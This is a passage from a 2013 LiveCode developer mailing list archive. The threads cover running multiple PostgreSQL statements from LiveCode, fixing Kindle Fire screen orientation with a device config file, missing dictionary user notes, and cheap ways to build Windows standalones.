> >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > > > > > > > -- > > > > > > > > Stephen Barncard > > San Francisco Ca. USA > > > > more about sqb > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Thu May 2 21:27:25 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 2 May 2013 18:27:25 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: References: Message-ID: <169419929356.20130502182725@ahsoftware.net> Richard- Thursday, May 2, 2013, 5:33:17 PM, you wrote: > I've tried > BEGIN TRANSACTION; > CREATE TABLE blah bla blah; > ALTER TABLE blah OWNER TO dhbk; > COMMIT; Are you trying to put all that into a single sql command? I don't think you can do that from LC. That is, I don't think the execute sql statement supports multiple catenated statements. -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Thu May 2 21:41:33 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 02 May 2013 20:41:33 -0500 Subject: Mobile (Android) orientations In-Reply-To: <024b01ce479b$d5961990$80c24cb0$@net> References: <5182EFE0.205@tweedly.net> <024b01ce479b$d5961990$80c24cb0$@net> Message-ID: <518315CD.3010601@hyperactivesw.com> On 5/2/13 8:16 PM, Ralph DiMola wrote: > Alex, > > Remember also that "portrait upside down" and "landscape left" are not > supported on Android 2.2 or earlier. This might account for the upside down > thing. Flip it the other way in the emulator and it might just work. That was my first thought too, but he said portrait works in both directions. And after reading it twice, it sounds like landscape works in both directions too, only they're both upside down. It's pretty odd if I read it right. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 2 22:00:06 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 02 May 2013 21:00:06 -0500 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> <53331EE2-005B-4813-BE4D-217D8E25B7B4@mac.com> <7B92C385-A1CC-4425-82E3-CB2563EBF83F@mac.com> Message-ID: <51831A26.6050803@hyperactivesw.com> On 5/2/13 8:19 PM, Peter Haworth wrote: > I guess I'm a little surprised by that. There was a thread in November > last year about this and some pretty enlightened experts on this list > indicated that the format of a standalone had changed within the last year > and it was no longer possible (OK, it's always possible!) to get at the > scripts within a standalone. Maybe I misunderstood what was said in that > thread. The recent change was related to how standalones are built. It used to be possible to extract the stack and open it in the IDE where an unprotected stack could be examined. The new method prevents that. It is not possible to read the scripts in a passworded standalone by normal means. In a text editor everything is binary, and the standalone itself can't be opened in the IDE. There is one way to see the scripts, but it requires tools most people don't have and a geek aptitude above the norm. And it can't be prevented in any app. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 2 22:10:31 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 02 May 2013 21:10:31 -0500 Subject: User notes in dictionary In-Reply-To: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> Message-ID: <51831C97.6060206@hyperactivesw.com> On 5/2/13 5:51 PM, dunbarx at aol.com wrote: > > > I think I asked this a few years ago. > I am using 5.5.4, but certain user notes in the dictionary do not appear unless I: > Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. > The user notes appear in 4, if I care to look for them. But they will not appear in 5 without that rigamarole. > What gives? Can you give me an entry that I shouldn't be able to see in 5.5.4? I'll take a look. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dochawk at gmail.com Thu May 2 22:11:00 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 19:11:00 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: References: Message-ID: On Thu, May 2, 2013 at 5:59 PM, Peter Haworth wrote: > Not familiar with postgres but maybe single quotes around dhbk? > No, not needed--this is the command I use from psql, and that works. (I do find some of when quotes are required & prohibited inconsistent . . .) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Thu May 2 22:12:37 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 19:12:37 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: <169419929356.20130502182725@ahsoftware.net> References: <169419929356.20130502182725@ahsoftware.net> Message-ID: On Thu, May 2, 2013 at 6:27 PM, Mark Wieder wrote: > > Are you trying to put all that into a single sql command? I don't > think you can do that from LC. That is, I don't think the execute sql > statement supports multiple catenated statements. Do either the executeSql or revDataFromQuery() actually *do* anything with the command? I've assumed that the argument is simply passed, so that if I gave it a multiline argument, it would just go though. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From pete at lcsql.com Thu May 2 22:14:34 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 2 May 2013 19:14:34 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: <169419929356.20130502182725@ahsoftware.net> References: <169419929356.20130502182725@ahsoftware.net> Message-ID: Good point. The dictionary is kinda confusing on this. It says "do not include a semicolon at the end of the statement", then says "some" sql systems are capable of executing multiple statements, which presumably means terminating each one with a semicolon. I guess it means no semicolon at the end of the last statement. No idea whether postgres supports multiple statements in one command. Pete lcSQL Software On Thu, May 2, 2013 at 6:27 PM, Mark Wieder wrote: > Richard- > > Thursday, May 2, 2013, 5:33:17 PM, you wrote: > > > I've tried > > BEGIN TRANSACTION; > > CREATE TABLE blah bla blah; > > ALTER TABLE blah OWNER TO dhbk; > > COMMIT; > > Are you trying to put all that into a single sql command? I don't > think you can do that from LC. That is, I don't think the execute sql > statement supports multiple catenated statements. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Thu May 2 22:36:19 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 19:36:19 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: References: <169419929356.20130502182725@ahsoftware.net> Message-ID: On Thu, May 2, 2013 at 7:14 PM, Peter Haworth wrote: > Good point. The dictionary is kinda confusing on this. It says "do not > include a semicolon at the end of the statement", then says "some" sql > systems are capable of executing multiple statements, which presumably > means terminating each one with a semicolon. I guess it means no semicolon > at the end of the last statement. Thinking of how psql does it, it must be appending a semicolon--but an extra semicolon should be harmless, as well. > No idea whether postgres supports multiple statements in one command. The BEGIN/COMMIT is most definitely supported in postgres (and I think even sqlite has rudimentary support for it) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From pete at lcsql.com Thu May 2 23:07:38 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 2 May 2013 20:07:38 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: References: Message-ID: I assume psql is the command line interface for postgres? If dbhk is a string value, it needs delimiters around it otherwise it will be treated as an identifier. It's possible psql supplies them but lc won't. On May 2, 2013 7:11 PM, "Dr. Hawkins" wrote: > On Thu, May 2, 2013 at 5:59 PM, Peter Haworth wrote: > > > Not familiar with postgres but maybe single quotes around dhbk? > > > > No, not needed--this is the command I use from psql, and that works. > > (I do find some of when quotes are required & prohibited inconsistent . . > .) > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dunbarx at aol.com Thu May 2 23:04:38 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 2 May 2013 23:04:38 -0400 (EDT) Subject: User notes in dictionary In-Reply-To: <51831C97.6060206@hyperactivesw.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> Message-ID: <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> Jacque. "Sort" and "sort container" as examples. And dang it. I wrote those. Craig -----Original Message----- From: J. Landman Gay To: How to use LiveCode Sent: Thu, May 2, 2013 10:11 pm Subject: Re: User notes in dictionary On 5/2/13 5:51 PM, dunbarx at aol.com wrote: > > > I think I asked this a few years ago. > I am using 5.5.4, but certain user notes in the dictionary do not appear unless I: > Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. > The user notes appear in 4, if I care to look for them. But they will not appear in 5 without that rigamarole. > What gives? Can you give me an entry that I shouldn't be able to see in 5.5.4? I'll take a look. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Thu May 2 23:16:29 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 20:16:29 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: References: Message-ID: On Thu, May 2, 2013 at 8:07 PM, Peter Haworth wrote: > I assume psql is the command line interface for postgres? If dbhk is a > string value, it needs delimiters around it otherwise it will be treated as > an identifier. It's possible psql supplies them but lc won't. but a table name doesn't seem to be a string value in postgres; even in the manual examples, they don't get quotes. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Thu May 2 23:20:33 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 20:20:33 -0700 Subject: Cheapjack development for Windows In-Reply-To: <4BF2369B-CB90-4238-AA10-060680E97083@sweattechnologies.com> References: <51821F3E.3000404@gmail.com> <4BF2369B-CB90-4238-AA10-060680E97083@sweattechnologies.com> Message-ID: On Thu, May 2, 2013 at 5:51 PM, Monte Goulding wrote: > > It is recommended not to build Win and Linux on Mac because it will mean when they >open a heap of MacToISOing will go on. ??? What is that? -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From jacque at hyperactivesw.com Thu May 2 23:22:27 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 02 May 2013 22:22:27 -0500 Subject: User notes in dictionary In-Reply-To: <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> Message-ID: <51832D73.8000408@hyperactivesw.com> On 5/2/13 10:04 PM, dunbarx at aol.com wrote: > Jacque. > > > "Sort" and "sort container" as examples. And dang it. I wrote those. > Yup, both are missing here. I didn't do the 4.x dance, but the notes aren't in 5.5.4 when I look. I don't know why. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From monte at sweattechnologies.com Thu May 2 23:34:55 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 3 May 2013 13:34:55 +1000 Subject: Cheapjack development for Windows In-Reply-To: References: <51821F3E.3000404@gmail.com> <4BF2369B-CB90-4238-AA10-060680E97083@sweattechnologies.com> Message-ID: <3C0123A0-DDC2-46FF-AE01-ED1246AA0F6F@sweattechnologies.com> On 03/05/2013, at 1:20 PM, Dr. Hawkins wrote: > What is that? Character encoding. -- M E R Goulding Software development services Bespoke application development for vertical markets mergExt - There's an external for that! From warren at warrensweb.us Thu May 2 23:30:19 2013 From: warren at warrensweb.us (Warren Samples) Date: Thu, 02 May 2013 22:30:19 -0500 Subject: User notes in dictionary In-Reply-To: <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> Message-ID: <51832F4B.4030404@warrensweb.us> On 05/02/2013 10:04 PM, dunbarx at aol.com wrote: > "Sort" and "sort container" as examples. And dang it. I wrote those. > > > Craig Running Linux here. Just tried this in 5.5.4 and initially the user notes did not appear under these entries, just as you find. However, clicking on the area they should appear revealed them. Does this work for you? Obviously this isn't a "solution" since you can't know if they're there waiting to be revealed or not. Warren From jacque at hyperactivesw.com Thu May 2 23:43:18 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 02 May 2013 22:43:18 -0500 Subject: User notes in dictionary In-Reply-To: <51832F4B.4030404@warrensweb.us> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> <51832F4B.4030404@warrensweb.us> Message-ID: <51833256.7060708@hyperactivesw.com> On 5/2/13 10:30 PM, Warren Samples wrote: > On 05/02/2013 10:04 PM, dunbarx at aol.com wrote: >> "Sort" and "sort container" as examples. And dang it. I wrote those. >> >> >> Craig > > > Running Linux here. Just tried this in 5.5.4 and initially the user > notes did not appear under these entries, just as you find. However, > clicking on the area they should appear revealed them. Does this work > for you? Obviously this isn't a "solution" since you can't know if > they're there waiting to be revealed or not. Mac OS X Lion, it didn't work. I even tried "entering" a new note and cancelling to see if the others would appear. :( I do see a notice at the bottom though that says there are no user notes yet and that I should be the first to enter one. Maybe it isn't reaching the server. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mwieder at ahsoftware.net Fri May 3 01:36:38 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 2 May 2013 22:36:38 -0700 Subject: User notes in dictionary In-Reply-To: <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> Message-ID: <24434881674.20130502223638@ahsoftware.net> Craig- Thursday, May 2, 2013, 8:04:38 PM, you wrote: > "Sort" and "sort container" as examples. And dang it. I wrote those. They both show up fine here. Linux mint 14, LC 5.5.4 -- -Mark Wieder mwieder at ahsoftware.net From richmondmathewson at gmail.com Fri May 3 02:14:25 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 03 May 2013 09:14:25 +0300 Subject: Cheapjack development for Windows In-Reply-To: References: <51821F3E.3000404@gmail.com> Message-ID: <518355C1.6030304@gmail.com> On 05/03/2013 03:40 AM, Dr. Hawkins wrote: > On Thu, May 2, 2013 at 1:09 AM, Richmond wrote: > >> It occurred to me then that the cheapest way to develop OSS software for >> Windows >> was to use Livecode OSS 6 for Windows in WINE. >> > Why even use WINE? > > I've had no issue building Windows & Linux standalones from Mac (ok, aside > from the possible mortal sin involved in creating a windows program, but . > . .) > > > Because one can pick up an old Pentium 4 for 25 bucks, put Linux, WINE and Livecode OSS on it for nix. Last time I looked a low-end contemporary Mac cost 1500 Euros. Richmond. From claudi.c at fiberworld.nl Fri May 3 04:31:23 2013 From: claudi.c at fiberworld.nl (Claudi Cornaz) Date: Fri, 3 May 2013 10:31:23 +0200 Subject: Script editors In-Reply-To: <1367416865632-4664076.post@n4.nabble.com> References: <5180E145.5020905@gmail.com> <75C2F5DB-2125-4FD6-828C-DAF441B9D2E8@sweattechnologies.com> <1367416865632-4664076.post@n4.nabble.com> Message-ID: <2D70FDED-C23E-4BBA-BA6C-DFF7E6E3995A@fiberworld.nl> Hi, I am working on a tool, "stackally", which show's all handlers of a event in a tree view. A event means: everything that happens from the start of a message till the end of that message. Well that's the most important feature of the tool, besides showing which handlers have changed between any 2 scans and naturally can store the different scans, a bit like a backup. You can permanently keep any scan and besides that, it will automatically keep the last x scans you made. (first in, first out) I still need to do some work on it tough, besides incorporating the 2 new handler types, before and after. (these change the messagePath order as you might say, so I need to change that part of the code to adopt this so I can create the correct tree view. I still have to think about the licensing. I spend a awfull long time on this and I certainly need the money. One thing I will surely do is make a free reader available, which can display all scans, but you won't be able to scan a stack with the reader. I think the free reader might be a realy good help for people starting with livecode. I guess they need documentation and good complete working samples. I know this has been talked a lot about before on this list, and I believe, now it is even more necesary so we can atract a lot of new people. People who are eager to start coding in this wonderfull world called livecode. So for instance a good, completly functioning notepad or simpletext app would be very usefull demo. To learn the new text and paragraph features I started one which is almost done, at least for the mac, for now. This demo needs to be able to open and save text documents and of course it needs the splash screen aproach. It needs menus, preferences and all the new text and paragraph features fully working, including the setting of tabstops and margins in paragraphs. It needs all the works. This will surely be my first demo with scan available with the stackAlly reader. It will make understanding this 'complex' demo, which has a lot of code, a lot easier. You don't need to go hunting through all the different scripts to find the next routine that gets called. ((this also shows you the messagePath) It's all there, everything related is nicely viewable in a tree view, easy accesable. It's also very usefull to just look up how the menuPick message is handled for instance, or any other message that's used in this or other demo of course. Anyway I hope to have some time to create the first 'finished' version soon. If you are interested please drop me a line. And if enough people are interested, well it would justify me spending some more time to finish stackAlly quickly. All the best, Claudi On 1 mei 2013, at 16:01, Martin Koob wrote: > I think be good to see all scripts at once but not in one long document but > rather in a tree which would show the context. The new project browser > shows the stack structure in a tree format. You can click on the script > button in the project browse and open the scripts in the tabbed script > browser but then you still loose the context the script was in. If instead > of a tabbed script editor there was a tree script editor you could see how a > button script relates to the script of the group it is in which relates to > the script of the card it is and so on. > > Martin > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/Script-editors-tp4664072p4664076.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gcanyon at gmail.com Fri May 3 05:03:36 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Fri, 3 May 2013 04:03:36 -0500 Subject: How is this in the app store In-Reply-To: References: <51814541.8050008@hyperactivesw.com> <5181F135.4040305@hyperactivesw.com> Message-ID: Stacks that don't come with the app? I wonder if Apple is okay with that, or if the reviewer just didn't understand what you were doing? On Thu, May 2, 2013 at 1:50 AM, Gerry Orkin wrote: > That seems to disallow stacks that go to other stacks in the same app? My > app does that :) > > Gerry > > On 02/05/2013, at 4:10 PM, Geoff Canyon wrote: > > > Apps that install or launch other executable code will be rejected > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From me at paulmaguire.me Fri May 3 05:34:05 2013 From: me at paulmaguire.me (Paul Maguire) Date: Fri, 3 May 2013 10:34:05 +0100 Subject: Cheapjack development for Windows In-Reply-To: <518355C1.6030304@gmail.com> References: <51821F3E.3000404@gmail.com> <518355C1.6030304@gmail.com> Message-ID: <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> On 3 May 2013, at 07:14, Richmond wrote: > Because one can pick up an old Pentium 4 for 25 bucks, put Linux, WINE > and Livecode OSS on it for nix. Dare I suggest that your Mac is also a (fast) PC nowadays? I have Window 7 running in a Window here (using VMware Fusion). When I reboot using Bootcamp I have a very fast native Windows PC - no compromises. Kind regards, Paul. From neil at runrev.com Fri May 3 05:36:29 2013 From: neil at runrev.com (neil at runrev.com) Date: Fri, 3 May 2013 10:36:29 +0100 Subject: Mobile (Android) orientations In-Reply-To: <5182EFE0.205@tweedly.net> References: <5182EFE0.205@tweedly.net> Message-ID: <871d021f299f4c177be59648e8e3146b.squirrel@var.on-rev.com> Hi Alex, I believe the issue you are experiencing is due to the way the kindle fire handles it orientations. To rectify this, you will need to create a config file that informs your application of the correct orientations. More information on this can be found on page 28 of the Android Release notes under "Device Specific Orientations" Kind Regards, Neil Roger -- RunRev Support Team ~ http://www.runrev.com -- > I'm just starting to play with Mobile builds - so this could be the > first of a series of dumb questions :-) > > I build a stack (one button, one field, no script at all), and build for > Android (following the instructions from Colin's book). > The "Initial orientation" is set to "portrait". > I can't get any Virtual Devices to run - but I can download and test on > my Kindle Fire. > > - builds, loads and runs (i.e. does nothing :-) OK > Rotating the device does nothing (i.e. the button/field) remain fixed > relative to the device, and hence they also become sideways / > upside-down / sideways again / OK again. > > > If I then add > on preopencard > mobileSetAllowedOrientations "portrait,portrait upside > down,landscape left,landscape right" > end preopencard > > to the card script, then rotating the device causes the button/field to > re-orient themselves relative to the device, i.e. so that they are in > constant "proper" orientation. BUT - in landscape mode, the button/field > are upside down ! They're OK (i.e. right way up) in portrait and > "portrait upside down" states, but in landscape the controls (and the > status bar which shows the Kindle name + time + wifi/battery status) are > upside down. > > What should I do ? > Could someone donate a working, multi-orientation stack so I can test it > (just in case it's something about Kindle Fire, or even some specific > fault with my particular Kindle Fire device) ? > > Thanks for any suggestions ... > -- Alex. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From monte at sweattechnologies.com Fri May 3 05:54:33 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 3 May 2013 19:54:33 +1000 Subject: Mobile (Android) orientations In-Reply-To: <871d021f299f4c177be59648e8e3146b.squirrel@var.on-rev.com> References: <5182EFE0.205@tweedly.net> <871d021f299f4c177be59648e8e3146b.squirrel@var.on-rev.com> Message-ID: <4A5E859A-2CBA-4FC2-859B-2A250E297B5F@sweattechnologies.com> On 03/05/2013, at 7:36 PM, neil at runrev.com wrote: > More information on this can be > found on page 28 of the Android Release notes under "Device Specific > Orientations" That page says there's a default file in the runtime folder but I don't see one. Which repo would this be in? Perhaps this would be a good thing for a community effort to come up with the right orientations for all the devices we have rather than each of us doing our own file... Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From richmondmathewson at gmail.com Fri May 3 06:34:19 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 03 May 2013 13:34:19 +0300 Subject: Cheapjack development for Windows In-Reply-To: <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> References: <51821F3E.3000404@gmail.com> <518355C1.6030304@gmail.com> <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> Message-ID: <518392AB.2070200@gmail.com> On 3.05.2013 12:34, Paul Maguire wrote: > On 3 May 2013, at 07:14, Richmond wrote: >> Because one can pick up an old Pentium 4 for 25 bucks, put Linux, WINE >> and Livecode OSS on it for nix. > > Dare I suggest that your Mac is also a (fast) PC nowadays? I have Window 7 running in a Window here (using VMware Fusion). When I reboot using Bootcamp I have a very fast native Windows PC - no compromises. Dare I point out that I neither have an Intel Mac, nor can I afford one; so, dare I point out that if that comment was aimed at me it was pointless. I do run Mac 10.6 using VMware on a Linux box, just as I also run Windows XP. But that is beside the point. My message was aimed at those programmers who do not have large amounts of moolah to spare. And your comment, Paul, makes me thing of Marie Antoinette; and she ended up as "a headless server" - LOL. If you want to eat cake with guillotined shadows don't mind me. Richmond. > > Kind regards, Paul. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From monte at sweattechnologies.com Fri May 3 07:35:00 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 3 May 2013 21:35:00 +1000 Subject: [ANN] mergExt RunRevLive Special $100 off Message-ID: Hi LiveCoders I'm leaving for the conference in a few days and won't be able to offer much support to mergExt customers (apart from in person at the conference) until I'm back at my desk in the week of the 27th of May. To make up for my absence I'm announcing a special price until the end of May of $199 for mergExt Complete and a year of updates, support and new externals. Buy from this page to get the special price: http://mergext.com/runrevlive-special/ Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From guglielmo at braguglia.ch Fri May 3 08:02:18 2013 From: guglielmo at braguglia.ch (Guglielmo Braguglia) Date: Fri, 03 May 2013 14:02:18 +0200 Subject: Mobile (Android) orientations In-Reply-To: <5182EFE0.205@tweedly.net> References: <5182EFE0.205@tweedly.net> Message-ID: <5183A74A.6000200@braguglia.ch> Hi Alex, enclosed you will find the file that you MUST add to your stack (Standalone Application Settings -> Copy Files - > Add File) and ... the Kindle Fire is ok :-) Guglielmo On 5/3/13 00:59 AM, Alex Tweedly wrote: > I'm just starting to play with Mobile builds - so this could be the > first of a series of dumb questions :-) > > I build a stack (one button, one field, no script at all), and build > for Android (following the instructions from Colin's book). > The "Initial orientation" is set to "portrait". > I can't get any Virtual Devices to run - but I can download and test > on my Kindle Fire. > > - builds, loads and runs (i.e. does nothing :-) OK > Rotating the device does nothing (i.e. the button/field) remain fixed > relative to the device, and hence they also become sideways / > upside-down / sideways again / OK again. > > > If I then add > on preopencard > mobileSetAllowedOrientations "portrait,portrait upside > down,landscape left,landscape right" > end preopencard > > to the card script, then rotating the device causes the button/field > to re-orient themselves relative to the device, i.e. so that they are > in constant "proper" orientation. BUT - in landscape mode, the > button/field are upside down ! They're OK (i.e. right way up) in > portrait and "portrait upside down" states, but in landscape the > controls (and the status bar which shows the Kindle name + time + > wifi/battery status) are upside down. > > What should I do ? > Could someone donate a working, multi-orientation stack so I can test > it (just in case it's something about Kindle Fire, or even some > specific fault with my particular Kindle Fire device) ? > > Thanks for any suggestions ... > -- Alex. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -------------- next part -------------- device=Amazon|KFTT||| orientation_map=0,90 From guglielmo at braguglia.ch Fri May 3 08:25:36 2013 From: guglielmo at braguglia.ch (Guglielmo Braguglia) Date: Fri, 03 May 2013 14:25:36 +0200 Subject: Mobile (Android) orientations In-Reply-To: <5183A74A.6000200@braguglia.ch> References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> Message-ID: <5183ACC0.7070300@braguglia.ch> Ah .. I forget ... ... this is for the *Kindle Fire HD 7" NO WiFi* ... so, you have to change the *KFTT* (in the .txt file) following this table : - KFOT = Kindle Fire - KFTT = Kindle Fire HD 7" - WFJWI = Kindle Fire HD 8.9" Wi-Fi - WFJWA = Kindle Fire HD 8.9" WAN Guglielmo On 5/3/13 14:02 PM, Guglielmo Braguglia wrote: > Hi Alex, > enclosed you will find the file that you MUST add to your stack > (Standalone Application Settings -> Copy Files - > Add File) and ... > the Kindle Fire is ok :-) > > Guglielmo > > > On 5/3/13 00:59 AM, Alex Tweedly wrote: >> I'm just starting to play with Mobile builds - so this could be the >> first of a series of dumb questions :-) >> >> I build a stack (one button, one field, no script at all), and build >> for Android (following the instructions from Colin's book). >> The "Initial orientation" is set to "portrait". >> I can't get any Virtual Devices to run - but I can download and test >> on my Kindle Fire. >> >> - builds, loads and runs (i.e. does nothing :-) OK >> Rotating the device does nothing (i.e. the button/field) remain fixed >> relative to the device, and hence they also become sideways / >> upside-down / sideways again / OK again. >> >> >> If I then add >> on preopencard >> mobileSetAllowedOrientations "portrait,portrait upside >> down,landscape left,landscape right" >> end preopencard >> >> to the card script, then rotating the device causes the button/field >> to re-orient themselves relative to the device, i.e. so that they are >> in constant "proper" orientation. BUT - in landscape mode, the >> button/field are upside down ! They're OK (i.e. right way up) in >> portrait and "portrait upside down" states, but in landscape the >> controls (and the status bar which shows the Kindle name + time + >> wifi/battery status) are upside down. >> >> What should I do ? >> Could someone donate a working, multi-orientation stack so I can test >> it (just in case it's something about Kindle Fire, or even some >> specific fault with my particular Kindle Fire device) ? >> >> Thanks for any suggestions ... >> -- Alex. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Fri May 3 08:30:36 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 3 May 2013 08:30:36 -0400 (EDT) Subject: User notes in dictionary In-Reply-To: <51832F4B.4030404@warrensweb.us> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> <51832F4B.4030404@warrensweb.us> Message-ID: <8D01611256A4B38-1BEC-2B901@webmail-d217.sysops.aol.com> Warren. On a Mac. No, clicking does nothing. -----Original Message----- From: Warren Samples To: How to use LiveCode Sent: Thu, May 2, 2013 11:30 pm Subject: Re: User notes in dictionary On 05/02/2013 10:04 PM, dunbarx at aol.com wrote: > "Sort" and "sort container" as examples. And dang it. I wrote those. > > > Craig Running Linux here. Just tried this in 5.5.4 and initially the user notes did not appear under these entries, just as you find. However, clicking on the area they should appear revealed them. Does this work for you? Obviously this isn't a "solution" since you can't know if they're there waiting to be revealed or not. Warren _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From monte at sweattechnologies.com Fri May 3 08:40:23 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 3 May 2013 22:40:23 +1000 Subject: Mobile (Android) orientations In-Reply-To: 